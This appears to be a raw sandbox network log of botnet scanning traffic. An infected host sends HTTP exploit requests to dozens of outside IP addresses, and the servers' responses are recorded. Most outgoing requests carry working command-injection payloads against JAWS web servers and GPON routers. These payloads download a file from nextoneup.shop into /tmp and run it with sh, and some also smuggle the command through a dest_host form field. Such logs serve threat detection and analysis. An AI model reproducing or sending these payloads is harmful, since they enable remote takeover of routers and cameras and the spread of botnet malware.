0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC;
Apr 14, 2024 04:01:29.411796093 CEST	1289	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 Data Ascii: } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; }
Apr 14, 2024 04:01:29.412007093 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 Data Ascii: } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server
Apr 14, 2024 04:01:29.412075996 CEST	1289	IN	Data Raw: 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 Data Ascii: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left;
Apr 14, 2024 04:01:29.412211895 CEST	1289	IN	Data Raw: 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b 44 64 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f 33 48 6e 79 43 37 74 31 35 Data Ascii: mTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYU
Apr 14, 2024 04:01:29.412288904 CEST	1289	IN	Data Raw: 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a 6d 42 41 65 32 62 39 35 55 Data Ascii: iQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQH
Apr 14, 2024 04:01:29.412441015 CEST	1175	IN	Data Raw: 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 61 79 49 53 4c 57 6b 51 38 Data Ascii: P9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTd
Apr 14, 2024 04:01:29.412623882 CEST	1289	IN	Data Raw: 33 37 0d 0a 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37404</span> <span class="status-reason">88Not Found</span> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:23ma
Apr 14, 2024 04:01:29.412641048 CEST	511	IN	Data Raw: 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 Data Ascii: /section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" title="cPanel, Inc.">

Session ID	Source IP	Source Port	Destination IP	Destination Port
1640	192.168.2.23	40100	124.187.110.34	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:29.085052013 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.454947948 CEST	138	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1641	192.168.2.23	35936	172.247.77.38	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.623756886 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1642	192.168.2.23	52582	52.201.102.172	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.687386990 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:30.921118021 CEST	349	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:30 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1643	192.168.2.23	50674	79.206.40.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.765348911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1644	192.168.2.23	36394	5.178.224.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.765400887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1645	192.168.2.23	55224	79.118.75.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.765455961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1646	192.168.2.23	58510	118.249.105.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.765520096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1647	192.168.2.23	45152	210.109.219.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.765563965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1648	192.168.2.23	40908	178.198.251.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.765620947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1649	192.168.2.23	46824	212.193.50.109	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.807224989 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.161916971 CEST	251	IN	HTTP/1.1 200 OK Server: nginx/1.25.4 Date: Sun, 14 Apr 2024 02:01:30 GMT Content-Type: text/html Content-Length: 3081 Last-Modified: Wed, 06 Mar 2024 11:20:18 GMT Connection: keep-alive ETag: "65e85172-c09" Accept-Ranges: bytes
Apr 14, 2024 04:01:31.161948919 CEST	1289	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: <!doctype html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><meta http-equiv="X-UA-Compatible" content="ie=edge"><meta name="yandex-verification" content="7b6d4bcf1d2ad04c"/><li
Apr 14, 2024 04:01:31.161967993 CEST	1289	IN	Data Raw: 69 63 2f 63 73 73 2f 32 2e 30 61 39 33 66 66 37 37 2e 63 68 75 6e 6b 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 73 74 61 74 69 63 2f 63 73 73 2f 6d 61 69 6e 2e 39 34 63 33 65 65 34 Data Ascii: ic/css/2.0a93ff77.chunk.css" rel="stylesheet"><link href="/static/css/main.94c3ee4f.chunk.css" rel="stylesheet"></head><body><div id="react-app"></div><script>!function(e){function r(r){for(var n,l,i=r[0],p=r[1],f=r[2],c=0,s=[];c<i.length;c++)
Apr 14, 2024 04:01:31.161988974 CEST	539	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 65 5b 72 5d 7d 2e 62 69 6e 64 28 6e 75 6c 6c 2c 6e 29 29 3b 72 65 74 75 72 6e 20 74 7d 2c 6c 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 Data Ascii: unction(r){return e[r]}.bind(null,n));return t},l.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(r,"a",r),r},l.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},l.p="/";var i=th

Session ID	Source IP	Source Port	Destination IP	Destination Port
1650	192.168.2.23	51768	184.71.52.214	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.919732094 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.153839111 CEST	229	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1:443/index.php/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:31 GMT Server: Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1651	192.168.2.23	38578	43.230.38.239	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.332577944 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.740688086 CEST	1111	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 14 Apr 2024 02:01:31 GMT Content-Type: text/html Content-Length: 811 Connection: close ETag: "661b38a9-32b" Cache-Control: no-cache, no-store, must-revalidate Expires: 0 Pragma: no-cache Last-Modified: -1 Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 61 2c 20 61 3a 76 69 73 69 74 65 64 2c 20 61 3a 61 63 74 69 76 65 20 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 0d 0a 61 3a 68 6f 76 65 72 20 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 0d 0a 62 6f 64 79 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 41 39 43 43 41 3b 20 63 6f 6c 6f 72 3a 23 66 66 66 7d 0d 0a 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 65 72 64 61 6e 61 2c 61 72 69 61 6c 2c 68 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 6c 6f 67 69 6e 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 70 3e 0d 0a 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 6c 6f 67 69 6e 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 20 69 6e 20 32 20 73 65 63 6f 6e 64 73 2e 2e 2e 3c 62 72 20 2f 3e 3c 62 72 20 2f 3e 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 32 35 34 2e 32 35 34 2f 30 2f 75 70 2f 22 3e 49 66 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 6f 70 65 6e 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2c 20 70 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 2e 3c 2f 61 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 73 65 74 54 69 6d 65 6f 75 74 28 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 32 35 34 2e 32 35 34 2f 30 2f 75 70 2f 27 3b 22 2c 35 30 30 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><style type="text/css">a, a:visited, a:active {color:#fff; font-size:24px;}a:hover {color:#000; font-size:24px;}body {background-color:#5A9CCA; color:#fff}p {font-family:verdana,arial,helvetica,sans; font-size:32px; text-align:center}</style><title>Please wait, the login page is opening...</title></head><body><p>Please wait, the login page is opening in 2 seconds...<br /><br /><a href="http://192.168.254.254/0/up/">If it does not open automatically, please click here.</a><script type="text/javascript">setTimeout("window.location='http://192.168.254.254/0/up/';",500);</script></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1652	192.168.2.23	38796	104.98.217.89	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.513329983 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.693973064 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:31 GMT Date: Sun, 14 Apr 2024 02:01:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 64 33 31 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 31 26 23 34 36 3b 31 30 31 65 65 62 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 64 33 31 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 31 26 23 34 36 3b 31 30 31 65 65 62 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1d313217.1713060091.101eebc<P>https://errors.edgesuite.net/9.1d313217.1713060091.101eebc</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1653	192.168.2.23	35688	192.185.73.162	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.734574080 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.963881969 CEST	443	IN	HTTP/1.1 406 Not Acceptable Date: Sun, 14 Apr 2024 02:01:31 GMT Server: Apache Content-Length: 226 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1654	192.168.2.23	40974	20.31.94.159	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.833476067 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1655	192.168.2.23	40098	41.225.205.107	80

Timestamp	Bytes transferred	Direction	Data
